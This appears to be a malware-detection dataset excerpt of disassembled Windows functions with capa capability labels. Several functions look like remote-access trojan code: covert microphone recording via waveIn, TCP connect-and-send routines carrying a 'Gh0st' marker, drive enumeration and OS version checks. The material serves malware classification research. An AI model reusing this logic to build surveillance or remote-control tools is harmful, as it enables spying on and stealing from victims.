joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40177b
Capabilities:
Create pipe
Get thread local storage value
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2404
call fcn.00411140
mov eax, dword [0x24945dc]
mov ecx, dword [0x2494068]
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x401875
mov edi, ecx
mov ebx, eax
cmp dword [0x24945dc], 0x959
jne 0x401865
push esi
lea eax, [ebp - 0x1c00]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push str.xobatividisikecaj
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
lea eax, [ebp - 0x800]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
lea eax, [ebp - 0x1400]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push esi
lea eax, [ebp - 0xc00]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push str.mujeyegifurukovuvazibobepecix
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push esi
lea eax, [ebp - 0x2400]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
call fcn.00401543
add edi, 8
dec ebx
jne 0x4017a7
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402db9
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x413c9d
call fcn.00413b10
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00403a23
xor edi, edi
push 4
mov dword [ebp - 4], edi
call fcn.00404b48
mov ebx, eax
pop ecx
cmp ebx, edi
je 0x402e01
call fcn.004038fb
mov dword [ebx], eax
call fcn.004036ba
mov ecx, eax
call fcn.00401181
mov eax, ebx
jmp 0x402e03
xor eax, eax
mov dword [esi + 0x38], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea ecx, [esi + 0x1c]
mov dword [esi + 0x24], ecx
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x2c]
mov dword [esi + 0x34], ecx
mov dword [eax], edi
mov eax, dword [esi + 0x24]
mov dword [eax], edi
mov eax, dword [esi + 0x34]
mov dword [eax], edi
mov eax, dword [esi + 0x10]
mov dword [eax], edi
mov eax, dword [esi + 0x20]
mov dword [eax], edi
mov eax, dword [esi + 0x30]
mov dword [eax], edi
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
pop edi
mov dword [esi], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4

Function at 0x4055cf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x47b408]
jne 0x4055d9
repz ret
jmp fcn.0040a62c
Function at 0x41072a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x47b408]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040919f
and dword [ebp - 0x14], 0
cmp dword [0x481ed0], 0
mov dword [ebp - 0x18], eax
jne 0x4107dd
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x410885
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x410885
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x481ed0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x481ed4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x481ed8], eax
call edi
push eax
call esi
mov dword [0x481ee0], eax
test eax, eax
je 0x4107dd
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x481edc], eax
mov eax, dword [0x481edc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x410836
cmp dword [0x481ee0], ecx
je 0x410836
push eax
call esi
push dword [0x481ee0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x410836
test ebx, ebx
je 0x410836
call edi
test eax, eax
je 0x41082d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41082d
test byte [ebp - 8], 1
jne 0x410836
or dword [ebp + 0x10], 0x200000
jmp 0x410869
mov eax, dword [0x481ed4]
cmp eax, dword [ebp - 0x18]
je 0x410869
push eax
call esi
test eax, eax
je 0x410869
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x410869
mov eax, dword [0x481ed8]
cmp eax, dword [ebp - 0x18]
je 0x410869
push eax
call esi
test eax, eax
je 0x410869
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x481ed0]
call esi
test eax, eax
je 0x410885
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x410887
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004055cf
leave
ret
Function at 0x10001100
Capabilities:
Link many functions at runtime
Terminate thread

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push edi
mov edi, ecx
push 0x30
mov dword [edi], 0x10013380
call esi
mov eax, dword [0x10018390]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 4
push str.waveInStop
push eax
call ebx
push 0x30
mov dword [esp + 0x14], eax
call esi
mov ecx, dword [0x10018390]
add esp, 4
push str.waveInReset
push ecx
call ebx
push 0x30
mov dword [esp + 0x18], eax
call esi
mov edx, dword [0x10018390]
add esp, 4
push str.waveInUnprepareHeader
push edx
call ebx
push 0x30
mov ebp, eax
call esi
mov eax, dword [0x10018390]
add esp, 4
push str.waveInClose
push eax
call ebx
push 0x30
mov dword [esp + 0x1c], eax
call esi
mov ecx, dword [0x10018390]
add esp, 4
push str.waveOutClose
push ecx
call ebx
push 0x30
mov dword [esp + 0x28], eax
call esi
mov edx, dword [0x10018390]
add esp, 4
push str.waveOutReset
push edx
call ebx
push 0x30
mov dword [esp + 0x24], eax
call esi
mov eax, dword [0x10018390]
add esp, 4
push str.waveOutUnprepareHeader
push eax
call ebx
mov ebx, eax
push 0x30
mov dword [esp + 0x20], ebx
call esi
mov al, byte [edi + 0x44]
add esp, 4
test al, al
je 0x10001216
mov ecx, dword [edi + 0x18]
push ecx
call dword [esp + 0x14]
mov edx, dword [edi + 0x18]
push edx
call dword [esp + 0x18]
lea esi, [edi + 0x30]
mov ebx, 2
mov eax, dword [esi]
mov ecx, dword [edi + 0x18]
push 0x20
push eax
push ecx
call ebp
add esi, 4
dec ebx
jne 0x100011ed
mov edx, dword [edi + 0x18]
push edx
call dword [esp + 0x1c]
mov eax, dword [edi + 0x2c]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [esp + 0x1c]
mov al, byte [edi + 0x45]
test al, al
je 0x10001246
mov ecx, dword [edi + 0x40]
push ecx
call dword [esp + 0x24]
lea esi, [edi + 0x30]
mov ebp, 2
mov edx, dword [esi]
mov eax, dword [edi + 0x40]
push 0x20
push edx
push eax
call ebx
add esi, 4
dec ebp
jne 0x1000122d
mov ecx, dword [edi + 0x40]
push ecx
call dword [esp + 0x28]
lea esi, [edi + 0x30]
mov ebx, 2
mov edx, dword [esi - 0x28]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esi - 0x20]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edx, dword [esi + 8]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
add esi, 4
dec ebx
jne 0x1000124e
mov eax, dword [edi + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [edi + 0x28]
push ecx
call esi
mov edx, dword [edi + 0x2c]
push edx
call esi
mov eax, dword [0x10018390]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x100013a0
Capabilities:
Create thread
Link many functions at runtime
Resume thread

Disassembly:
mov eax, dword [0x10018390]
sub esp, 8
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push str.waveInGetNumDevs
mov edi, ecx
push eax
call esi
call eax
test eax, eax
jne 0x100013cc
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
mov ecx, dword [0x10018390]
push str.waveInOpen
push ecx
call esi
lea edx, [esp + 0x10]
mov ebp, eax
push edx
push 4
push edi
push 0x10001590
push 0
push 0
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x2c], eax
mov eax, dword [esp + 0x10]
push 0x20000
push 0
lea ecx, [edi + 0x46]
push eax
lea ebx, [edi + 0x18]
push ecx
push 0xffff
push ebx
call ebp
test eax, eax
je 0x10001427
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
mov edx, dword [0x10018390]
push str.waveInPrepareHeader
push edx
call esi
mov dword [esp + 0x14], eax
lea esi, [edi + 0x30]
mov ebp, 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov edx, dword [esi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
mov ecx, dword [esi]
xor eax, eax
mov dword [ecx + 0x10], eax
mov edx, dword [esi]
mov dword [edx + 0x14], eax
mov eax, dword [esi]
mov ecx, dword [ebx]
push eax
push ecx
call dword [esp + 0x20]
add esi, 4
dec ebp
jne 0x10001441
mov edx, dword [0x10018390]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.waveInAddBuffer
push edx
call esi
mov ecx, dword [edi + 0x1c]
push 0x20
mov edx, dword [edi + ecx*4 + 0x30]
mov ecx, dword [ebx]
push edx
push ecx
call eax
mov edx, dword [edi + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x10018390]
push str.waveInStart
push eax
call esi
mov ecx, dword [ebx]
push ecx
call eax
mov al, 1
mov byte [edi + 0x44], al
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x10001d70
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x100120da
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x198
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
lea ecx, [esi + 4]
call fcn.10001930
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a8], 0
call fcn.10001930
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a8], 1
call fcn.10001930
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a8], 2
call fcn.10001930
lea eax, [esp + 0x10]
mov dword [esi], 0x10013398
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
add esp, 4
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x30
mov dword [esi + 0xac], eax
call edi
mov byte [esp + 0xc], 0x47
mov byte [esp + 0xd], 0x68
mov byte [esp + 0xe], 0x30
mov byte [esp + 0xf], 0x73
mov edx, dword [esp + 0xc]
lea ecx, [esi + 0xb0]
mov al, 0x74
add esp, 4
mov dword [ecx], edx
mov byte [esi + 0xb5], 0
mov dword [esi + 0xa8], 0xffffffff
pop edi
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x19c]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a4
ret
Function at 0x10001f40
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x20
push ebp
push esi
push edi
mov esi, ecx
call fcn.10002430
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
mov eax, dword [esi + 0xac]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x30
mov byte [esi + 0xb5], 0
call edi
add esp, 4
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x10001f97
pop edi
pop esi
xor al, al
pop ebp
add esp, 0x20
ret 8
push 0x30
call edi
mov ecx, dword [esp + 0x34]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x30
mov ebp, eax
call edi
add esp, 4
test ebp, ebp
jne 0x10001fc1
pop edi
pop esi
xor al, al
pop ebp
add esp, 0x20
ret 8
push 0x30
mov word [esp + 0x20], 2
call edi
mov edx, dword [esp + 0x38]
add esp, 4
push edx
call dword [sym.imp.WS2_32.dll_htons]
push 0x30
mov word [esp + 0x22], ax
call edi
mov eax, dword [ebp + 0xc]
push 0x30
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [esp + 0x28], edx
call edi
mov ecx, dword [esi + 0xa8]
add esp, 8
lea eax, [esp + 0x1c]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10002019
pop edi
pop esi
xor al, al
pop ebp
add esp, 0x20
ret 8
push 0x30
call edi
mov eax, dword [esi + 0xa8]
add esp, 4
lea edx, [esp + 0xf]
mov byte [esp + 0xf], 1
push 1
push edx
push 8
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10002090
push 0x30
mov dword [esp + 0x14], 1
mov dword [esp + 0x18], 0xea60
mov dword [esp + 0x1c], 0x1388
call edi
add esp, 4
mov eax, dword [esi + 0xa8]
lea ecx, [esp + 0xf]
lea edx, [esp + 0x10]
push 0
push 0
push ecx
push 0
push 0
push 0xc
push edx
push 0x98000004
push eax
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0x30
call edi
add esp, 4
push 1
push 0
push 0
push esi
push 0x100020c0
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.10009660
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebp
add esp, 0x20
ret 8

Function at 0x10002430
Capabilities:
Set socket configuration

Disassembly:
push ecx
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
mov esi, ecx
push 0x30
mov word [esp + 0xc], 1
mov word [esp + 0xe], 0
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [esp + 8]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x30
call edi
mov edx, dword [esi + 0xa8]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x30
call edi
add esp, 4
lea eax, [esi + 0xb5]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x30
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x30
call edi
mov edx, dword [esi + 0xac]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x30
call edi
add esp, 4
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
pop ecx
ret
Function at 0x10002660
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x14]
cmp ebx, esi
mov ebp, ecx
mov dword [esp + 0x14], 0
jb 0x100026ca
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0xa8]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x100026a9
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x10002686
cmp dword [esp + 0x1c], 0xf
je 0x10002700
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x1000267e
test ebx, ebx
jle 0x100026f4
xor esi, esi
mov ecx, dword [ebp + 0xa8]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x100026eb
inc esi
cmp esi, 0xf
jl 0x100026d0
cmp esi, 0xf
je 0x10002700
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x10002703
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x10002720
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
push esi
mov esi, dword [esp + 0x18]
test esi, esi
jne 0x10002733
xor eax, eax
pop esi
add esp, 0x10
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10002761
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax]
mov dword [esp + 4], ecx
mov edx, dword [eax + 4]
mov dword [esp + 8], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0xc], ecx
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov eax, dword [edx]
pop esi
add esp, 0x10
ret
Function at 0x10002880
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x190
push esi
push edi
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x14]
lea edx, [esp + 0x94]
rep stosd dword es:[edi], eax
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x94]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
push 0xf003f
push 0
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10002928
lea eax, [esp + 0xc]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
push ecx
push edx
push 0
push 0x100161bc
push eax
mov dword [esp + 0x24], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x14]
push str.2000
push edx
call esi
add esp, 8
test eax, eax
jne 0x10002970
lea eax, [esp + 0x14]
push str.2003
push eax
call esi
add esp, 8
test eax, eax
jne 0x10002970
lea ecx, [esp + 0x14]
push str.2008
push ecx
call esi
add esp, 8
test eax, eax
jne 0x10002970
pop edi
pop esi
add esp, 0x190
ret
pop edi
mov eax, 1
pop esi
add esp, 0x190
ret
Function at 0x10003cc0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100133b8
push 0x10011ec8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10003e28
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10003d77
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10003d77
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003d52
cmp al, 0x5c
je 0x10003d52
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10003d3a
cmp byte [esi], 0
je 0x10003d5b
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003d70
cmp al, 0x5c
je 0x10003d70
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10003d58
cmp byte [esi], 0
je 0x10003d96
jmp 0x10003d92
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10003d96
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003d96
cmp al, 0x5c
jne 0x10003d96
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x10003dec
cmp al, 0x5c
jne 0x10003dde
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10003dd1
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10003ddb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10003ddb
push edi
jmp 0x10003e1f
and eax, 0x10
cmp al, 0x10
je 0x10003ddb
push edi
jmp 0x10003e1f
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10003d9c
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10003eb0
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x78c
push ebx
push ebp
push esi
lea eax, [esp + 0x138]
push edi
push eax
mov dword [esp + 0x2c], ecx
push pe_nt_image_headers32
mov byte [esp + 0x3a4], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor esi, esi
push str.Shell32.dll
lea ebp, [esp + 0x140]
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push str.SHGetFileInfoA
push edi
mov dword [esp + 0x38], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x34], eax
mov al, byte [esp + 0x13c]
test al, al
mov ebx, 1
je 0x1000406e
jmp 0x10003f2b
xor esi, esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x38]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x3c]
push ecx
push esi
push esi
push esi
push esi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x240]
push 0x160
push edx
push 0x80
push ebp
call dword [esp + 0x48]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x34c]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x38]
inc edi
push ecx
mov dword [esp + 0x30], edi
call esi
inc eax
mov dword [esp + 0x10], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x10003fdb
cmp al, 0x42
je 0x10003fdb
lea edx, [esp + 0x20]
push 0
lea eax, [esp + 0x1c]
push edx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x10003fdb
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, 0x14
call fcn.10011ed0
mov edx, dword [esp + 0x1c]
mov esi, eax
mov eax, dword [esp + 0x18]
mov ecx, 0x14
call fcn.10011ed0
mov dword [esp + 0x14], eax
jmp 0x10003fe1
xor esi, esi
mov dword [esp + 0x14], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x3a0], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x14]
mov ecx, edi
mov byte [esp + ebx + 0x39d], al
mov eax, ecx
mov dword [esp + ebx + 0x39e], esi
lea esi, [esp + 0x34c]
lea edi, [esp + ebx + 0x3a6]
mov dword [esp + ebx + 0x3a2], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x2c]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
lea edx, [eax + ebx]
lea esi, [esp + 0x3c]
lea edi, [esp + edx + 0x3aa]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x10003f29
mov edi, dword [esp + 0x30]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x39c]
push ebx
push edx
call fcn.10006fd0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret